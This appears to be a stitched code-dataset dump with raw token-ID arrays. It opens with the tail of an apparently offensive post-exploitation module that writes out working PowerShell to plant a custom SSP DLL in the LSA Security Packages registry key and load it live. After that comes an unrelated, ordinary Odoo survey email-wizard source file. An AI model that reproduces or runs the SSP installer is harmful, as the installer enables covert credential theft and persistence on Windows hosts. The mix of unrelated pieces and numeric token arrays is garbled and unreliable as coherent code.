you've made it this far, you are clear to install the SSP dll. Copy-Item $FullDllPath $InstallDir $SecurityPackages += $DllName Set-ItemProperty HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa -Name 'Security Packages' -Value $SecurityPackages $DynAssembly = New-Object System.Reflection.AssemblyName('SSPI2') $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SSPI2', $False) $TypeBuilder = $ModuleBuilder.DefineType('SSPI2.Secur32', 'Public, Class') $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('AddSecurityPackage', 'secur32.dll', 'Public, Static', [Reflection.CallingConventions]::Standard, [Int32], [Type[]] @([String], [IntPtr]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $Secur32 = $TypeBuilder.CreateType() if ([IntPtr]::Size -eq 4) { $StructSize = 20 } else { $StructSize = 24 } $StructPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal($StructSize) [Runtime.InteropServices.Marshal]::WriteInt32($StructPtr, $StructSize) $RuntimeSuccess = $True try { $Result = $Secur32::AddSecurityPackage($DllName, $StructPtr) } catch { $HResult = $Error[0].Exception.InnerException.HResult Write-Warning "Runtime loading of the SSP failed. (0x$($HResult.ToString('X8')))" Write-Warning "Reason: $(([ComponentModel.Win32Exception] $HResult).Message)" $RuntimeSuccess = $False } if ($RuntimeSuccess) { Write-Verbose 'Installation and loading complete!' } else { Write-Verbose 'Installation complete! Reboot for changes to take effect.' } } Install-SSP""" for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': script += " -" + str(option) + " " + str(values['Value']) return script
bsd-3-clause
[ 504, 1973, 14, 2330, 492, 10897, 199, 199, 533, 5673, 26, 339, 347, 636, 826, 721, 277, 12, 2446, 5977, 12, 1862, 17894, 398, 291, 14, 815, 275, 469, 288, 283, 985, 356, 283, 8154, 13, 2300, 48, 297, 953, 283, 5949, 356, 788, 32, 569, 9142, 597, 425, 995, 953, 283, 5831, 356, 661, 8154, 83, 282, 6391, 2291, 5022, 334, 2300, 48, 9, 17112, 8038, 953, 283, 14148, 7, 520, 715, 12, 953, 283, 2959, 6382, 7, 520, 488, 12, 7846, 283, 28390, 4880, 7, 520, 715, 12, 953, 283, 4619, 3321, 11090, 7, 520, 756, 12, 7846, 283, 4649, 5067, 3353, 7, 520, 283, 18, 297, 7846, 283, 18929, 356, 359, 355, 283, 2859, 921, 5031, 14, 957, 15, 569, 9142, 597, 425, 15, 6921, 5058, 320, 390, 15, 6582, 15, 4133, 15, 2623, 15284, 15, 2623, 15284, 14, 1190, 77, 17, 7, 288, 1622, 267, 789, 398, 327, 1263, 1511, 4346, 701, 314, 859, 12, 663, 1224, 5309, 8836, 267, 291, 14, 1419, 275, 469, 288, 327, 1475, 26, 288, 327, 257, 574, 63, 354, 520, 469, 1802, 12, 1415, 12, 849, 63, 585, 93, 288, 283, 7788, 7, 520, 469, 355, 283, 5831, 7, 257, 520, 257, 283, 7788, 370, 1255, 859, 641, 3130, 355, 283, 8030, 7, 420, 520, 257, 715, 12, 355, 283, 1110, 7, 260, 520, 257, 2125, 288, 1660, 288, 283, 2042, 7, 520, 469, 355, 283, 5831, 7, 257, 520, 257, 298, 2042, 402, 314, 428, 5763, 1275, 9259, 334, 265, 314, 1347, 6844, 9, 370, 3907, 4765, 355, 283, 8030, 7, 420, 520, 257, 715, 12, 355, 283, 1110, 7, 260, 520, 257, 2125, 288, 789, 267, 789, 398, 327, 3354, 2331, 282, 1331, 402, 314, 2446, 5977, 909, 370, 2879, 5957, 9330, 267, 327, 257, 2839, 19946, 15, 4054, 8297, 15, 6839, 14, 267, 291, 14, 973, 5977, 275, 2446, 5977, 2728, 367, 1215, 315, 1862, 26, 288, 327, 2725, 1475, 365, 359, 985, 12, 1594, 61, 288, 945, 12, 574, 275, 1215, 288, 340, 945, 315, 291, 14, 1419, 26, 355, 291, 14, 1419, 59, 1422, 2733, 1110, 418, 275, 574, 2378, 347, 3550, 8, 277, 304, 398, 2884, 275, 408, 199, 1593, 13276, 13, 2300, 48, 199, 91, 199, 28, 3, 199, 14, 31802, 21665, 1311, 199, 199, 8154, 83, 282, 6391, 2291, 5022, 334, 2300, 48, 9, 17112, 14, 199, 199, 5949, 26, 18619, 29640, 10268, 69, 605, 8593, 569, 9142, 597, 425, 9, 199, 3761, 26, 6289, 650, 13, 16009, 199, 8030, 1487, 3209, 26, 488, 199, 7012, 1487, 3209, 26, 488, 199, 199, 14, 17705, 199, 199, 8154, 13, 2300, 48, 25801, 376, 428, 5763, 17112, 14, 26866, 25613, 2310, 16743, 314, 17112, 370, 199, 5, 2676, 694, 5, 1103, 3989, 708, 436, 7791, 314, 536, 402, 314, 17112, 370, 199, 40, 14307, 45, 1103, 12711, 1103, 5639, 3717, 1084, 1103, 3717, 1103, 44, 2231, 1103, 7676, 9954, 7441, 14, 199, 199, 14, 14472, 5852, 199, 199, 6154, 5604, 314, 931, 370, 314, 428, 5763, 17112, 1265, 3955, 2839, 370, 3907, 14, 199, 199, 14, 26900, 199, 199, 8154, 13, 2300, 48, 446, 2042, 1275, 1103, 77, 1017, 73, 773, 14, 9259, 199, 199, 14, 4609, 654, 199, 199, 1918, 428, 5763, 17112, 1471, 1336, 314, 4403, 15931, 14, 284, 14, 69, 14, 2047, 1471, 1172, 282, 5049, 13, 2075, 428, 5763, 17112, 199, 692, 1265, 787, 3879, 282, 5049, 13, 2075, 4403, 14, 1010, 1865, 367, 314, 428, 5763, 17112, 370, 506, 6511, 7684, 199, 9924, 9100, 405, 12, 314, 17112, 1471, 4843, 8360, 44, 2231, 1385, 9345, 14, 199, 3, 30, 339, 359, 7874, 2723, 17490, 5106, 12608, 334, 267, 359, 12584, 5229, 2561, 774, 13, 2042, 334, 27459, 13, 2042, 2672, 4602, 1552, 61, 267, 359, 1558, 61, 267, 2672, 2042, 272, 776, 339, 2672, 31729, 275, 359, 7676, 14, 31729, 14, 8647, 31729, 1527, 7676, 14, 31729, 14, 8647, 10193, 61, 447, 29058, 342, 339, 340, 2801, 1397, 2672, 31729, 14, 1831, 607, 7422, 779, 7676, 14, 31729, 14, 8647, 32406, 607, 7422, 61, 447, 31972, 430, 272, 469, 267, 7978, 283, 31376, 376, 428, 5763, 17112, 5074, 4628, 25124, 4481, 14, 17009, 642, 2884, 687, 376, 325, 6972, 972, 18879, 8529, 8457, 3530, 272, 789, 339, 327, 31096, 314, 2615, 931, 340, 282, 3847, 931, 1990, 2741, 14, 272, 2672, 9042, 29479, 2042, 275, 31096, 13, 2042, 2672, 2042, 339, 327, 11642, 805, 1202, 370, 6705, 314, 17112, 15931, 272, 805, 2257, 26, 1002, 13, 1510, 8438, 10497, 272, 469, 267, 12608, 267, 334, 288, 359, 4720, 8, 15483, 275, 378, 12, 717, 603, 13530, 275, 2672, 549, 776, 61, 288, 359, 1558, 61, 288, 2672, 2042, 267, 776, 13857, 327, 6077, 19599, 1406, 370, 1937, 340, 3366, 1990, 10311, 4337, 503, 5049, 13, 2075, 267, 2672, 1173, 3296, 275, 7053, 13, 1692, 6187, 14, 2090, 14, 1173, 3296, 22187, 2042, 12, 359, 3989, 14, 2090, 14, 1173, 1385, 61, 447, 4299, 12, 359, 3989, 14, 2090, 14, 1173, 3946, 61, 447, 3284, 9, 13857, 359, 4861, 59, 2677, 2672, 45, 58, 2567, 275, 7053, 13, 1692, 20301, 8607, 8, 18, 9, 267, 2672, 1173, 3296, 14, 3284, 22187, 45, 58, 2567, 12, 16, 12, 18, 9, 1204, 6219, 13, 8849, 13857, 2672, 2567, 275, 359, 3989, 14, 1872, 14, 11129, 7630, 61, 447, 12292, 14, 1002, 1558, 22187, 45, 58, 2567, 9, 267, 340, 334, 4, 2567, 446, 685, 283, 45, 58, 358, 267, 469, 288, 2672, 1173, 3296, 14, 4724, 342, 288, 3868, 1143, 283, 3364, 19599, 1406, 3530, 267, 789, 13857, 327, 1666, 75, 370, 378, 88, 19, 67, 446, 25228, 63, 32735, 63, 7311, 14, 69, 63, 276, 290, 546, 334, 73, 14, 69, 14, 29432, 370, 19599, 10240, 9, 267, 2672, 1173, 3296, 14, 19168, 8, 16, 88, 19, 67, 12, 359, 3989, 14, 2090, 14, 19168, 12834, 61, 447, 5595, 9, 1204, 6219, 13, 8849, 13857, 359, 4861, 59, 2677, 2672, 276, 290, 546, 275, 7053, 13, 1692, 20301, 8607, 8, 20, 9, 13857, 327, 5574, 3268, 370, 314, 19599, 10240, 334, 14117, 506, 1586, 315, 3837, 9, 267, 2672, 1173, 3296, 14, 3284, 22187, 276 ]
[ 1973, 14, 2330, 492, 10897, 199, 199, 533, 5673, 26, 339, 347, 636, 826, 721, 277, 12, 2446, 5977, 12, 1862, 17894, 398, 291, 14, 815, 275, 469, 288, 283, 985, 356, 283, 8154, 13, 2300, 48, 297, 953, 283, 5949, 356, 788, 32, 569, 9142, 597, 425, 995, 953, 283, 5831, 356, 661, 8154, 83, 282, 6391, 2291, 5022, 334, 2300, 48, 9, 17112, 8038, 953, 283, 14148, 7, 520, 715, 12, 953, 283, 2959, 6382, 7, 520, 488, 12, 7846, 283, 28390, 4880, 7, 520, 715, 12, 953, 283, 4619, 3321, 11090, 7, 520, 756, 12, 7846, 283, 4649, 5067, 3353, 7, 520, 283, 18, 297, 7846, 283, 18929, 356, 359, 355, 283, 2859, 921, 5031, 14, 957, 15, 569, 9142, 597, 425, 15, 6921, 5058, 320, 390, 15, 6582, 15, 4133, 15, 2623, 15284, 15, 2623, 15284, 14, 1190, 77, 17, 7, 288, 1622, 267, 789, 398, 327, 1263, 1511, 4346, 701, 314, 859, 12, 663, 1224, 5309, 8836, 267, 291, 14, 1419, 275, 469, 288, 327, 1475, 26, 288, 327, 257, 574, 63, 354, 520, 469, 1802, 12, 1415, 12, 849, 63, 585, 93, 288, 283, 7788, 7, 520, 469, 355, 283, 5831, 7, 257, 520, 257, 283, 7788, 370, 1255, 859, 641, 3130, 355, 283, 8030, 7, 420, 520, 257, 715, 12, 355, 283, 1110, 7, 260, 520, 257, 2125, 288, 1660, 288, 283, 2042, 7, 520, 469, 355, 283, 5831, 7, 257, 520, 257, 298, 2042, 402, 314, 428, 5763, 1275, 9259, 334, 265, 314, 1347, 6844, 9, 370, 3907, 4765, 355, 283, 8030, 7, 420, 520, 257, 715, 12, 355, 283, 1110, 7, 260, 520, 257, 2125, 288, 789, 267, 789, 398, 327, 3354, 2331, 282, 1331, 402, 314, 2446, 5977, 909, 370, 2879, 5957, 9330, 267, 327, 257, 2839, 19946, 15, 4054, 8297, 15, 6839, 14, 267, 291, 14, 973, 5977, 275, 2446, 5977, 2728, 367, 1215, 315, 1862, 26, 288, 327, 2725, 1475, 365, 359, 985, 12, 1594, 61, 288, 945, 12, 574, 275, 1215, 288, 340, 945, 315, 291, 14, 1419, 26, 355, 291, 14, 1419, 59, 1422, 2733, 1110, 418, 275, 574, 2378, 347, 3550, 8, 277, 304, 398, 2884, 275, 408, 199, 1593, 13276, 13, 2300, 48, 199, 91, 199, 28, 3, 199, 14, 31802, 21665, 1311, 199, 199, 8154, 83, 282, 6391, 2291, 5022, 334, 2300, 48, 9, 17112, 14, 199, 199, 5949, 26, 18619, 29640, 10268, 69, 605, 8593, 569, 9142, 597, 425, 9, 199, 3761, 26, 6289, 650, 13, 16009, 199, 8030, 1487, 3209, 26, 488, 199, 7012, 1487, 3209, 26, 488, 199, 199, 14, 17705, 199, 199, 8154, 13, 2300, 48, 25801, 376, 428, 5763, 17112, 14, 26866, 25613, 2310, 16743, 314, 17112, 370, 199, 5, 2676, 694, 5, 1103, 3989, 708, 436, 7791, 314, 536, 402, 314, 17112, 370, 199, 40, 14307, 45, 1103, 12711, 1103, 5639, 3717, 1084, 1103, 3717, 1103, 44, 2231, 1103, 7676, 9954, 7441, 14, 199, 199, 14, 14472, 5852, 199, 199, 6154, 5604, 314, 931, 370, 314, 428, 5763, 17112, 1265, 3955, 2839, 370, 3907, 14, 199, 199, 14, 26900, 199, 199, 8154, 13, 2300, 48, 446, 2042, 1275, 1103, 77, 1017, 73, 773, 14, 9259, 199, 199, 14, 4609, 654, 199, 199, 1918, 428, 5763, 17112, 1471, 1336, 314, 4403, 15931, 14, 284, 14, 69, 14, 2047, 1471, 1172, 282, 5049, 13, 2075, 428, 5763, 17112, 199, 692, 1265, 787, 3879, 282, 5049, 13, 2075, 4403, 14, 1010, 1865, 367, 314, 428, 5763, 17112, 370, 506, 6511, 7684, 199, 9924, 9100, 405, 12, 314, 17112, 1471, 4843, 8360, 44, 2231, 1385, 9345, 14, 199, 3, 30, 339, 359, 7874, 2723, 17490, 5106, 12608, 334, 267, 359, 12584, 5229, 2561, 774, 13, 2042, 334, 27459, 13, 2042, 2672, 4602, 1552, 61, 267, 359, 1558, 61, 267, 2672, 2042, 272, 776, 339, 2672, 31729, 275, 359, 7676, 14, 31729, 14, 8647, 31729, 1527, 7676, 14, 31729, 14, 8647, 10193, 61, 447, 29058, 342, 339, 340, 2801, 1397, 2672, 31729, 14, 1831, 607, 7422, 779, 7676, 14, 31729, 14, 8647, 32406, 607, 7422, 61, 447, 31972, 430, 272, 469, 267, 7978, 283, 31376, 376, 428, 5763, 17112, 5074, 4628, 25124, 4481, 14, 17009, 642, 2884, 687, 376, 325, 6972, 972, 18879, 8529, 8457, 3530, 272, 789, 339, 327, 31096, 314, 2615, 931, 340, 282, 3847, 931, 1990, 2741, 14, 272, 2672, 9042, 29479, 2042, 275, 31096, 13, 2042, 2672, 2042, 339, 327, 11642, 805, 1202, 370, 6705, 314, 17112, 15931, 272, 805, 2257, 26, 1002, 13, 1510, 8438, 10497, 272, 469, 267, 12608, 267, 334, 288, 359, 4720, 8, 15483, 275, 378, 12, 717, 603, 13530, 275, 2672, 549, 776, 61, 288, 359, 1558, 61, 288, 2672, 2042, 267, 776, 13857, 327, 6077, 19599, 1406, 370, 1937, 340, 3366, 1990, 10311, 4337, 503, 5049, 13, 2075, 267, 2672, 1173, 3296, 275, 7053, 13, 1692, 6187, 14, 2090, 14, 1173, 3296, 22187, 2042, 12, 359, 3989, 14, 2090, 14, 1173, 1385, 61, 447, 4299, 12, 359, 3989, 14, 2090, 14, 1173, 3946, 61, 447, 3284, 9, 13857, 359, 4861, 59, 2677, 2672, 45, 58, 2567, 275, 7053, 13, 1692, 20301, 8607, 8, 18, 9, 267, 2672, 1173, 3296, 14, 3284, 22187, 45, 58, 2567, 12, 16, 12, 18, 9, 1204, 6219, 13, 8849, 13857, 2672, 2567, 275, 359, 3989, 14, 1872, 14, 11129, 7630, 61, 447, 12292, 14, 1002, 1558, 22187, 45, 58, 2567, 9, 267, 340, 334, 4, 2567, 446, 685, 283, 45, 58, 358, 267, 469, 288, 2672, 1173, 3296, 14, 4724, 342, 288, 3868, 1143, 283, 3364, 19599, 1406, 3530, 267, 789, 13857, 327, 1666, 75, 370, 378, 88, 19, 67, 446, 25228, 63, 32735, 63, 7311, 14, 69, 63, 276, 290, 546, 334, 73, 14, 69, 14, 29432, 370, 19599, 10240, 9, 267, 2672, 1173, 3296, 14, 19168, 8, 16, 88, 19, 67, 12, 359, 3989, 14, 2090, 14, 19168, 12834, 61, 447, 5595, 9, 1204, 6219, 13, 8849, 13857, 359, 4861, 59, 2677, 2672, 276, 290, 546, 275, 7053, 13, 1692, 20301, 8607, 8, 20, 9, 13857, 327, 5574, 3268, 370, 314, 19599, 10240, 334, 14117, 506, 1586, 315, 3837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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
avoinsystems/odoo
addons/survey/wizard/survey_email_compose_message.py
214
10914
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2010-Today OpenERP SA (<http://www.openerp.com>) # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/> # ############################################################################## from openerp.osv import osv from openerp.osv import fields from openerp.tools.translate import _ from datetime import datetime import re import uuid import urlparse emails_split = re.compile(r"[;,\n\r]+") class survey_mail_compose_message(osv.TransientModel): _name = 'survey.mail.compose.message' _inherit = 'mail.compose.message' _description = 'Email composition wizard for Survey' _log_access = True def _get_public_url(self, cr, uid, ids, name, arg, context=None): res = dict((id, 0) for id in ids) survey_obj = self.pool.get('survey.survey') for wizard in self.browse(cr, uid, ids, context=context): res[wizard.id] = wizard.survey_id.public_url return res def _get_public_url_html(self, cr, uid, ids, name, arg, context=None): """ Compute if the message is unread by the current user """ urls = self._get_public_url(cr, uid, ids, name, arg, context=context) for key, url in urls.items(): urls[key] = '<a href="%s">%s</a>' % (url, _("Click here to start survey")) return urls _columns = { 'survey_id': fields.many2one('survey.survey', 'Survey', required=True), 'public': fields.selection([('public_link', 'Share the public web link to your audience.'), ('email_public_link', 'Send by email the public web link to your audience.'), ('email_private', 'Send private invitation to your audience (only one response per recipient and per invitation).')], string='Share options', required=True), 'public_url': fields.function(_get_public_url, string="Public url", type="char"), 'public_url_html': fields.function(_get_public_url_html, string="Public HTML web link", type="char"), 'partner_ids': fields.many2many('res.partner', 'survey_mail_compose_message_res_partner_rel', 'wizard_id', 'partner_id', 'Existing contacts'), 'attachment_ids': fields.many2many('ir.attachment', 'survey_mail_compose_message_ir_attachments_rel', 'wizard_id', 'attachment_id', 'Attachments'), 'multi_email': fields.text(string='List of emails', help="This list of emails of recipients will not converted in contacts. Emails separated by commas, semicolons or newline."), 'date_deadline': fields.date(string="Deadline to which the invitation to respond is valid", help="Deadline to which the invitation to respond for this survey is valid. If the field is empty, the invitation is still valid."), } _defaults = { 'public': 'public_link', 'survey_id': lambda self, cr, uid, ctx={}: ctx.get('model') == 'survey.survey' and ctx.get('res_id') or None } def default_get(self, cr, uid, fields, context=None): res = super(survey_mail_compose_message, self).default_get(cr, uid, fields, context=context) if context.get('active_model') == 'res.partner' and context.get('active_ids'): res.update({'partner_ids': context.get('active_ids')}) return res def onchange_multi_email(self, cr, uid, ids, multi_email, context=None): emails = list(set(emails_split.split(multi_email or ""))) emails_checked = [] error_message = "" for email in emails: email = email.strip() if email: if not re.search(r"^[^@]+@[^@]+$", email): error_message += "\n'%s'" % email else: emails_checked.append(email) if error_message: raise osv.except_osv(_('Warning!'), _("One email at least is incorrect: %s" % error_message)) emails_checked.sort() values = {'multi_email': '\n'.join(emails_checked)} return {'value': values} def onchange_survey_id(self, cr, uid, ids, survey_id, context=None): """ Compute if the message is unread by the current user. """ if survey_id: survey = self.pool.get('survey.survey').browse(cr, uid, survey_id, context=context) return { 'value': { 'subject': survey.title, 'public_url': survey.public_url, 'public_url_html': '<a href="%s">%s</a>' % (survey.public_url, _("Click here to take survey")), }} else: txt = _("Please select a survey") return { 'value': { 'public_url': txt, 'public_url_html': txt, }} #------------------------------------------------------ # Wizard validation and send #------------------------------------------------------ def send_mail(self, cr, uid, ids, context=None): """ Process the wizard content and proceed with sending the related email(s), rendering any template patterns on the fly if needed """ if context is None: context = {} survey_response_obj = self.pool.get('survey.user_input') partner_obj = self.pool.get('res.partner') mail_mail_obj = self.pool.get('mail.mail') try: model, anonymous_id = self.pool.get('ir.model.data').get_object_reference(cr, uid, 'portal', 'group_anonymous') except ValueError: anonymous_id = None def create_response_and_send_mail(wizard, token, partner_id, email): """ Create one mail by recipients and replace __URL__ by link with identification token """ #set url url = wizard.survey_id.public_url url = urlparse.urlparse(url).path[1:] # dirty hack to avoid incorrect urls if token: url = url + '/' + token # post the message values = { 'model': None, 'res_id': None, 'subject': wizard.subject, 'body': wizard.body.replace("__URL__", url), 'body_html': wizard.body.replace("__URL__", url), 'parent_id': None, 'partner_ids': partner_id and [(4, partner_id)] or None, 'notified_partner_ids': partner_id and [(4, partner_id)] or None, 'attachment_ids': wizard.attachment_ids or None, 'email_from': wizard.email_from or None, 'email_to': email, } mail_id = mail_mail_obj.create(cr, uid, values, context=context) mail_mail_obj.send(cr, uid, [mail_id], context=context) def create_token(wizard, partner_id, email): if context.get("survey_resent_token"): response_ids = survey_response_obj.search(cr, uid, [('survey_id', '=', wizard.survey_id.id), ('state', 'in', ['new', 'skip']), '|', ('partner_id', '=', partner_id), ('email', '=', email)], context=context) if response_ids: return survey_response_obj.read(cr, uid, response_ids, ['token'], context=context)[0]['token'] if wizard.public != 'email_private': return None else: token = uuid.uuid4().__str__() # create response with token survey_response_obj.create(cr, uid, { 'survey_id': wizard.survey_id.id, 'deadline': wizard.date_deadline, 'date_create': datetime.now(), 'type': 'link', 'state': 'new', 'token': token, 'partner_id': partner_id, 'email': email}) return token for wizard in self.browse(cr, uid, ids, context=context): # check if __URL__ is in the text if wizard.body.find("__URL__") < 0: raise osv.except_osv(_('Warning!'), _("The content of the text don't contain '__URL__'. \ __URL__ is automaticaly converted into the special url of the survey.")) if not wizard.multi_email and not wizard.partner_ids and (context.get('default_partner_ids') or context.get('default_multi_email')): wizard.multi_email = context.get('default_multi_email') wizard.partner_ids = context.get('default_partner_ids') # quick check of email list emails_list = [] if wizard.multi_email: emails = list(set(emails_split.split(wizard.multi_email)) - set([partner.email for partner in wizard.partner_ids])) for email in emails: email = email.strip() if re.search(r"^[^@]+@[^@]+$", email): emails_list.append(email) # remove public anonymous access partner_list = [] for partner in wizard.partner_ids: if not anonymous_id or not partner.user_ids or anonymous_id not in [x.id for x in partner.user_ids[0].groups_id]: partner_list.append({'id': partner.id, 'email': partner.email}) if not len(emails_list) and not len(partner_list): if wizard.model == 'res.partner' and wizard.res_id: return False raise osv.except_osv(_('Warning!'), _("Please enter at least one valid recipient.")) for email in emails_list: partner_id = partner_obj.search(cr, uid, [('email', '=', email)], context=context) partner_id = partner_id and partner_id[0] or None token = create_token(wizard, partner_id, email) create_response_and_send_mail(wizard, token, partner_id, email) for partner in partner_list: token = create_token(wizard, partner['id'], partner['email']) create_response_and_send_mail(wizard, token, partner['id'], partner['email']) return {'type': 'ir.actions.act_window_close'}
agpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 259, 7653, 12, 3232, 5800, 8259, 9274, 199, 3, 259, 1898, 334, 35, 9, 7129, 13, 31982, 7653, 13950, 8642, 1014, 921, 1544, 14, 11267, 14, 957, 18956, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 259, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 259, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 3133, 199, 3, 199, 4605, 199, 199, 504, 5166, 14, 4795, 492, 9506, 199, 504, 5166, 14, 4795, 492, 1504, 199, 504, 5166, 14, 2537, 14, 5275, 492, 485, 199, 504, 2197, 492, 2197, 199, 199, 646, 295, 199, 646, 5377, 199, 646, 7097, 199, 199, 14170, 63, 1294, 275, 295, 14, 2014, 8, 82, 22774, 27, 4202, 78, 60, 82, 2807, 531, 421, 199, 533, 16576, 63, 1198, 63, 12607, 63, 1188, 8, 4795, 14, 14612, 14928, 1685, 304, 272, 485, 354, 275, 283, 10625, 14, 1198, 14, 12607, 14, 1188, 7, 272, 485, 6486, 275, 283, 1198, 14, 12607, 14, 1188, 7, 272, 485, 1802, 275, 283, 7035, 31586, 12262, 367, 29013, 7, 272, 485, 793, 63, 2732, 275, 715, 339, 347, 485, 362, 63, 3455, 63, 633, 8, 277, 12, 2467, 12, 1747, 12, 2762, 12, 536, 12, 1680, 12, 1067, 29, 403, 304, 267, 522, 275, 1211, 1332, 344, 12, 378, 9, 367, 1305, 315, 2762, 9, 267, 16576, 63, 1113, 275, 291, 14, 2293, 14, 362, 360, 10625, 14, 10625, 358, 267, 367, 12262, 315, 291, 14, 4570, 8, 1556, 12, 1747, 12, 2762, 12, 1067, 29, 1100, 304, 288, 522, 59, 9819, 14, 344, 61, 275, 12262, 14, 10625, 63, 344, 14, 3455, 63, 633, 267, 372, 522, 339, 347, 485, 362, 63, 3455, 63, 633, 63, 1360, 8, 277, 12, 2467, 12, 1747, 12, 2762, 12, 536, 12, 1680, 12, 1067, 29, 403, 304, 267, 408, 8354, 340, 314, 1245, 365, 625, 739, 701, 314, 1453, 922, 408, 267, 8187, 275, 291, 423, 362, 63, 3455, 63, 633, 8, 1556, 12, 1747, 12, 2762, 12, 536, 12, 1680, 12, 1067, 29, 1100, 9, 267, 367, 790, 12, 1166, 315, 8187, 14, 1744, 837, 288, 8187, 59, 498, 61, 275, 2650, 65, 4369, 5961, 83, 14423, 83, 1108, 65, 3524, 450, 334, 633, 12, 3824, 12040, 2348, 370, 1343, 16576, 2237, 267, 372, 8187, 339, 485, 3406, 275, 469, 267, 283, 10625, 63, 344, 356, 1504, 14, 3479, 18, 368, 360, 10625, 14, 10625, 297, 283, 30188, 297, 1415, 29, 549, 395, 267, 283, 3455, 356, 1504, 14, 5592, 8318, 3455, 63, 1073, 297, 283, 18713, 314, 4575, 3330, 2142, 370, 2195, 10576, 328, 4894, 8038, 2511, 661, 2123, 63, 3455, 63, 1073, 297, 283, 6795, 701, 3031, 314, 4575, 3330, 2142, 370, 2195, 10576, 328, 4894, 8038, 2511, 661, 2123, 63, 4239, 297, 283, 6795, 5726, 4572, 5314, 370, 2195, 10576, 328, 4894, 334, 2118, 1373, 1177, 1126, 10318, 436, 1126, 4572, 5314, 680, 2665, 288, 1059, 534, 18713, 1511, 297, 1415, 29, 549, 395, 267, 283, 3455, 63, 633, 356, 1504, 14, 1593, 1547, 362, 63, 3455, 63, 633, 12, 1059, 628, 9885, 1166, 401, 730, 628, 1560, 1288, 267, 283, 3455, 63, 633, 63, 1360, 356, 1504, 14, 1593, 1547, 362, 63, 3455, 63, 633, 63, 1360, 12, 1059, 628, 9885, 4163, 3330, 2142, 401, 730, 628, 1560, 1288, 267, 283, 3899, 63, 1580, 356, 1504, 14, 3479, 18, 3479, 360, 470, 14, 3899, 297, 288, 283, 10625, 63, 1198, 63, 12607, 63, 1188, 63, 470, 63, 3899, 63, 3369, 297, 288, 283, 9819, 63, 344, 297, 283, 3899, 63, 344, 297, 283, 23490, 27989, 659, 267, 283, 8905, 63, 1580, 356, 1504, 14, 3479, 18, 3479, 360, 723, 14, 8905, 297, 288, 283, 10625, 63, 1198, 63, 12607, 63, 1188, 63, 723, 63, 15855, 63, 3369, 297, 288, 283, 9819, 63, 344, 297, 283, 8905, 63, 344, 297, 283, 13240, 1470, 659, 267, 283, 3029, 63, 2123, 356, 1504, 14, 505, 8, 875, 534, 1296, 402, 14931, 297, 1720, 628, 2765, 769, 402, 14931, 402, 19255, 911, 440, 6702, 315, 27989, 14, 11426, 83, 11673, 701, 24476, 12, 18734, 761, 4654, 503, 8057, 7651, 267, 283, 602, 63, 22357, 356, 1504, 14, 602, 8, 875, 628, 22147, 604, 370, 1314, 314, 4572, 5314, 370, 22722, 365, 1686, 401, 1720, 628, 22147, 604, 370, 1314, 314, 4572, 5314, 370, 22722, 367, 642, 16576, 365, 1686, 14, 982, 314, 901, 365, 2701, 12, 314, 4572, 5314, 365, 5139, 1686, 7651, 272, 789, 339, 485, 4322, 275, 469, 267, 283, 3455, 356, 283, 3455, 63, 1073, 297, 267, 283, 10625, 63, 344, 356, 2400, 291, 12, 2467, 12, 1747, 12, 4027, 7622, 26, 4027, 14, 362, 360, 1238, 358, 508, 283, 10625, 14, 10625, 7, 436, 4027, 14, 362, 360, 470, 63, 344, 358, 503, 488, 272, 789, 339, 347, 849, 63, 362, 8, 277, 12, 2467, 12, 1747, 12, 1504, 12, 1067, 29, 403, 304, 267, 522, 275, 1613, 8, 10625, 63, 1198, 63, 12607, 63, 1188, 12, 291, 680, 885, 63, 362, 8, 1556, 12, 1747, 12, 1504, 12, 1067, 29, 1100, 9, 267, 340, 1067, 14, 362, 360, 2682, 63, 1238, 358, 508, 283, 470, 14, 3899, 7, 436, 1067, 14, 362, 360, 2682, 63, 1580, 735, 288, 522, 14, 873, 3252, 3899, 63, 1580, 356, 1067, 14, 362, 360, 2682, 63 ]
